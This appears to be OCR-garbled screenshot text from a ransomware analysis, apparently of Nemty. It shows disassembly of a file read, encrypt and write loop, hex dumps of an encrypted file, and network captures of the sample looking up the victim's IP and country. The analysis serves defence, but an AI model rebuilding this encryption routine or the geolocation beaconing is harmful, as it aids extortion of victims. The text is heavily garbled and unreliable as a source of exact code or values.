eax ; 1lpHumberOfBytesRead
3epua8ah 3MB ; NHumberOfBytesToRead
[eDp+IpBurfter] ; IpBurter

edi ;: hFile

ReadFile

eax, [ebprvar_78]

edx, [ebp+lpBuffer]

ecx, J38D488h

sub_485BCC

ebhx ; dwHMoveHMethod

ebx ; 1lpDhistanceToMouveHigh
ebx

2

dword ptr [ebp+FileSize+4]

dword ptr [ebp+Filesize]

__alldiw

eax, 186A868K

eax ; lpistanceToMovue

edi ; hFile

esi ; SetFilePointer

ebx ; lpoOverlapped

eax, [ebp+HumberOfBytesWritten]

eax ; lpHumberOfBytestliritten
[ebp+HumberDFBytesRead] ; nHumberOfBytesToWrite
[ebp+1pBuffer] : 1lpBuffer

edi : hFile

WriteFile

D SIS s JB Sl eubgls Ve s 4 e 55 [5des (o

esi ; SetFilePointer

ehx s lpOverlapped
eax, [ebp+HumberDfBytesRead]
eax » 1pHumberidfBytesRead

19888h 100KB nHumber0fBytesToRead

|ebp+1lpButfer] ; lpBufter
edi ;: hFile
ReadFile

eax, [ebp+var 78]

edx, [ebp+lpBuffer]

ecx, 19888h

sub_485BCC

ebx ; dwMoveMethod

ebx ; lpbistanceToMoueHigh
ebx ; 1bistanceToHove

edi ;: hFile

esi ; SetFilePointer

ehx s lpOverlapped

eax, [ebp+Humber0fBytesWritten]

eax ; 1pHumberOfBytesWritten

[ebp+Humber0fBytesRead] ; nHumberOfBytesToWrite
[ebp+1pBuffer] ; 1pBuffer

edi ;: hFile

WriteFile

A
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add

push
push
call
push
lea

push
push
push
push
call
mov

mov

mov

call
mov

push
push
add

push
push
call
push
lea

push
push
push
push
call

eax, BFFFE7B86h

m mopKE

C:\Users\WiNENR \Deskiop\test \test (1).apk bin

eax ; 1bistanceToHoue

edi ;: hFile

esi ; SetFilePointer

ebhx ; lpOverlapped

eax, [ebp+Humber0fByteskead]

eax ; 1lpHumberOfBytesRead
19888nh 100KB ; NHumberOfBytesToRead
|ebp+lpButter] ; 1pButter

edi ;: hFile

ReadFile

eax, [ebp+var_ 78]
edx, [ebp+lpBuffer]
ecx, 19888h

sub_485BCC

eax, dword ptr [ebp+FileSize]

ebx ; duwhoveMethod

ebx ; lpbistanceToMoveHigh
eax, BFFFE7A0@8h

eax ; 1DbistanceToMove

edi ; hFile

esi ; SetFilePointer

ebx s lpOverlapped

eax, [ebp+HumberDfBytesWritten]

eax ; lpHumber0fBytesWritten

[ebp+HumberDfBytesRead] ; nNumberOfBytesToWrite

edi hFile
WriteFile

[ebp+1pBuffer] ; 1lpBuffer

CA\Users "IN Deckiop\test\test (1).apk_nemty bin

w

00911c00 AE
00911cio 00
00911czo 72
00911c30 &9
00911c40 &7
00911cs0 42
00911ced 00
00911c70 &3
00911c&0 &%
00811ced &3
00911ce0 00
00911cB0 00
00911cco 49
00911cpd 2D
00911CED &35
00811CF0 08
L0%11p00 06
00911p10 32
00911D20 4B
00911D30 TB
00911D40 00
00911Dp30 41
00911Ded 46
00911D70 43
00911p&0 00
00911DG0 45
00911DR0 4B
00911pBO0 41
00911Dco 00
00911pD0 41
00911DED 035
00911DF0 90

04 03 B1 61 OE 14 00 00 OE 14 00 00
00 00 00 00 00 00 00 00 00 00 cC BS
73 2F 64 72 81 77 61 62 6C 65 2D 6D
69 63 5F 6C 61 75 6E 63 68 65 72 2E
4B 01 02 Oa 00 Oa 00 00 08 00 00 51 °
AE 94 32 EB 01 00 00 EB 01 00 00 27
00 00 00 00 00 0O 00 00 00 15 ca 8D
2F 64 72 61 77 61 &2 6C &5 2D T8 &8
69 63 5F 61 63 74 69 6F 6E SF 73 63
2E 70 6E 67 50 4B 01 02 OR 00 Om 00
21 7D AE 42 5A 36 86 DF AS 43 00 00
22 00 00 00 00 00O 00 00 00 00 00 00
8D 00 72 65 73 2F 64 72 61 77 61 62
68 64 70 69 2F 69 63 5F 6C 61 75 6E
2E 70 6E 67 50 4B 01 02 14 00 14 00
E0 42 2E 43 1B 72 24 D1 %9 a6 02 00
0B 00 00 00 00 00 00 00 00 00 00 00
BE 00 €3 6C 61 73 73 65 73 2E 64 65
02 14 00 14 00 08 0B 08 00 EZ2 4A 2E 00911p20 70 11 91 7E
48 a9 15 00 00 a2 3B 00 00 14 00 00 00911p30 AB &F 4C 08
00 00 00 00 00 00 00 D4 B6 90 00 4D ! 00911p40 DE 7A 39 6E
49 4E 46 2F 4D 41 4E 49 46 45 53 54 00911p30 DO 66 T7C 4D
4B 01 02 14 00 14 00 08 08 08 00 E2 00911ped 4A 98 2B A2

-« |00911c00 45 DC 12 &R
00911ci0 D1 c5 OB 09
00911c20 F3 D4 E6 BF
00911c30 BC BE 08 c8
00911c40 07 65 Ta 4E
00911c30 4D 7E BO 7C
00911ced F5 01 69 16
00911c70 &8 72 EO0 73
00911c&0 81 40 88 71
00911cod 1F BD 93 06
00911cad SE 5B 46 OF
00911cB0 38 E2 2E SC
00911lccO BB OE A3 AS
00911cpd 35 48 B6 E4
00911ce0 07 B3 55 cl
00911cF0 &6 41 Ba OB
00911p00 EZ2 6F CB C1
00911p10 BB 24 OE EO

T

88 E4 A5 DA 15 00 00 D7 38 00 00 10 00911070 €2 &3 12 15
00 00 00 00 00 00 00 00 00 BF cc 90 00911D80 EF 87 FO cC
41 2D 49 4E 46 2F 43 45 52 54 2E 53 00911090 DF F4 84 D6
02 14 00 14 00911DR0 84 64 DD 97
E7 1D 04 0D 00811D80 73 Aé DF SE
00 00 00 00 00911Dc0 36 5D EC ET
49 4E 46 2F 00811pD0 85 F7 03 BA
00 00 00 00 7 |oosiipE0 04 B7 c2 DB
oo [oo] - |oosiipFo 58 49 c4[E4]

4

= w0

034/2015 7:29:06 AM | 9.1 MB (9510388) |

co
14
a9
0E
22
BC
15
(13
BR
B8
EC
1l
57
7D
B2
1F
FD
07
[l

a0
49

EB

B7

36
E3
89
€E
4F
0a
49
in
81
CD
B3
03
EE
8B
a5
BO
E4
SF
RS
28
4F
20
B3
aF
cl
F2
6l
11
3ac
ES
3B
L]

12
Eb6
Ccé
0a
cé
oF
c5
BO
85
F8
DC
Dl
ci
63
4n
&D
cé
BS
BB
59
83
8E
BA
23
B6
D8
29
1B
FB
58
82
(13

1 | " 4| [T

| 00911DF3 (9510387) | 9/1/2019 11:53:47 AM | 9.1 MB (9510747) |

[
nd

o7
a2
E8
75
F&
8z
RO
a7
ac
F&
69
B8
D3
0z
cC
F7
=13
BD
29
B89
SD
DD
T2
D3
06
83
2B
BF
81
3D
13
29

&0
2E
14
6D
EC
34
3B
62
2C
27
oc
FC
BS
29
D4
oc
F&
33
29
80
ce
D2
BB
25
cz
FO
10
TE
27
21
BS
58

2!
DB
Rl
23
6B
D
AE
SE
BB
F7
95
ER
21
27
74
BR
49
Cé

T2
D5
BF
BS
01
2C
FO
F7
23

FD
TE
29
89
E4
2n
2F
c5
B3
BD
E3
38
ES
FO
3B
BF
27
85
(=5

F2

83
+

| 00911DF3 (9510387)
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L;”LS‘ u»).)‘ Ll % e)l.q.w Jg")ﬂ QL:J:.O‘)}.WS

YYY AT ) oY Api.ipify.org 80,433 TCP,HTTP el

Ve YOV Y Api.db-ip.com 80,433 TCP,HTTP KJJJ
192.168.29.128 23.23.73.124 TCP 66 58412 -+ 8@ [S5YN] Seq=@ Win=8192 Len=8 M55=146@ W5=256 SACK PERM=1
23.23.73.124 192.168.29.128 TCP 6@ 8@ - 58412 [5YN, ACK] Seq=@ Ack=1 Win=64248 Len=8 M55=146@
192.168.29.128 23.23.73.124 TCP 54 58412 + 88 [ACK] Seq=1 Ack=1 Win=64248 Len=@
192.168.29.128 23.23.73.124 HTTP 131 GET / HTTP/1.1
23.23.73.124 192.168.29.128 TCP 68 88 =+ 58412 [ACK] Seq=1 Ack=78 Win=54248 Len=08
23.23.73.124 192.168.29.128 HTTP 248 HTTP/1.1 2808 OK (text/plain)
192.168.29.128 192.168.29.2 DNS 73 Standard query @xf469 A api.db-ip.com
192.168.29.2 192.168.29.128 DNS 185 Standard query response @xf469 A api.db-ip.com A 184.25.3.33 A 184.25.2.33
192.168.29.128 184.25.3.33 TCP 66 58413 » 80 [SYN] Seq=8 Win=8192 Len=0 MS5=1468 WS=256 SACK PERM=1
184.25.3.33 192.168.29.128 TCP 60 80 - 58413 [SYN, ACK] Seq=0 Ack=1 Win=64248 Len=8 M55=146@
192.168.29.128 184.25.3.33 TCP 54 58413 =+ 88 [ACK] Seq=1 Ack=1 Win=64248 Len=@
192.168.29.128 104.25.3.33 HTTP 165 GET /w2/free/37.129.101.175/countryName HTTP/1.1

184.25.3.33 192.168.29.128 TCP 6@ 8@ - 58413 [ACK] Seq=1 Ack=112 Win=64248 Len=8

192.168.29.128 23.23.73.124 TCP
184.25.3.33 192.168.29.128 HTTP

63786 Len=08

192.168.29.128 184.25.3.33 TCP 54 58413 + 8@ [ACK] Seq=112 Ack=535 Wi

192.168.29.128 192.168.29.255 BROWSER 258 Domain/Workgroup Annocuncement WORKGROUP, NT Workstation, Domain Enum
23.23.73.124 192.168.29.128 TCP 60 80 - 58412 [FIN, PSH, ACK] Seq=187 Ack=78 Win=64248 Len=0

192.168.29.128 23.23.73.124 TCP 54 58412 5 80 [ACK] Seq=78 Ack=188 Win=64854 Len=8

184.25.3.33 192.168.29.128 TCP 60 80 - 58413 [FIN, PSH, ACK] Seq=535 Ack=112 Win=64248 Len=@

192.168.29.128 184.25.3.33 TCP 54 58413 =+ 8@ [ACK] Seq=112 Ack=536 Win=63786 Len=8

192.168.29.128 285.185.216.42 TCP 66 58416 -+ 88 [SYN] Seq=8 Win=8192 Len=@ M55=146@ WS=256 SACK_PERM=1

285.185.216.42 192.168.29.128 TCP 60 8@ =+ 58416 [SYN, ACK] Seq=0 Ack=1 Win=6424@ Len=8 M55=146@

192.168.29.128 285.185.216.42 TCP 54 50416 + 88 [ACK] Seq=1 Ack=1 Win=6424@ Len=@

192.168.29.128 285.185.216.42 HTTP 356 GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1

2085.185.216.42 152.168.29.128 TCP 60 82 + 50416 [ACK] Seq=1 Ack=3@3 Win=64240 Len=0

2@85.185.216.42 192.168.29.128 TCP 1454 8@ =+ 58416 [PSH, ACK] Seq=1 Ack=383 Win=64248 Len=1488 [TCP segment of a reassembled PDU]
2085.185.216.42 192.168.29.128 TCP 1454 8@ + 50416 [PSH, ACK] Seq=1481 Ack=383 Win=64240 Len=148@ [TCP segment of a reassembled PDU]
192.168.29.128 285.185.216.42 TCP 54 58416 + 38 [ACK] Seq=3083 Ack=2801 Win=64248 Len=0

2@85.185.216.42 192.168.29.128 TCP 1454 8@ » 50416 [PSH, ACK] Seq=2881 Ack=383 Win=6424@ Len=148@ [TCP segment of a reassembled PDU]
285.185.216.42 192.168.29.128 TCP 1454 8@ + 50416 [PSH, ACK] Seq=4281 Ack=383 Win=642408 Len=148@ [TCP segment of a reassembled PDU]
2085.185.216.42 192.168.29.128 TCP 1454 8@ » 50416 [PSH, ACK] Seq=56@1 Ack=383 Win=6424@ Len=140@ [TCP segment of a reassembled PDU]
285.185.216.42 192.168.29.128 TCP 1454 8@ + 58416 [PSH, ACK] Seq=70@1 Ack=3@3 Win=64240 Len=140@ [TCP segment of a reassembled PDU]
192.168.29.128 285.185.216.42 TCP 54 50416 + 80 [ACK] Seq=303 Ack=8481 Win=64248 Len=8

2@85.185.216.42 192.168.29.128 TCP 1454 8@ =+ 58416 [PSH, ACK] Seq=8481 Ack=383 Win=64248 Len=148@ [TCP segment of a reassembled PDU]
2085.185.216.42 192.168.29.128 TCP 410 8@ + 50416 [PSH, ACK] Seq=3881 Ack=383 Win=6424@ Len=356 [TCP segment of a reassembled PDU]
192.168.29.128 285.185.216.42 TCP 54 508416 + 30 [ACK] Seq=303 Ack=18157 Win=6£4248 Len=9
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1GET [v2/free/37.129.181.175/countryName HTTP/1.1 |

User-Agent: Chrome
Host: api.db-ip.com
Pragma: no-cache

HTTP/1.1 288 0K

Date: Sat, @7 Sep 2819 @7:55:41 GMT
Content-Type: text/plain;charset=UTF-8
Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: _ cfduid=dela8d68cbl4allf2dc6c76d69@aacd6el567842941; expires=5un, @6-5ep-28 @7:55:41 GMT; path=/; domain=.db-
ip.com; HttpOnly

Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Cache-contrel: public, max-age=138@
X-IPLB-Instance: 38785
CF-Cache-Status: EXPIRED

Expires: Sat, @7 Sep 2019 @8:25:41 GMT
Server: cloudflare

CF-RAY: 51271f387c24dffb-FRA
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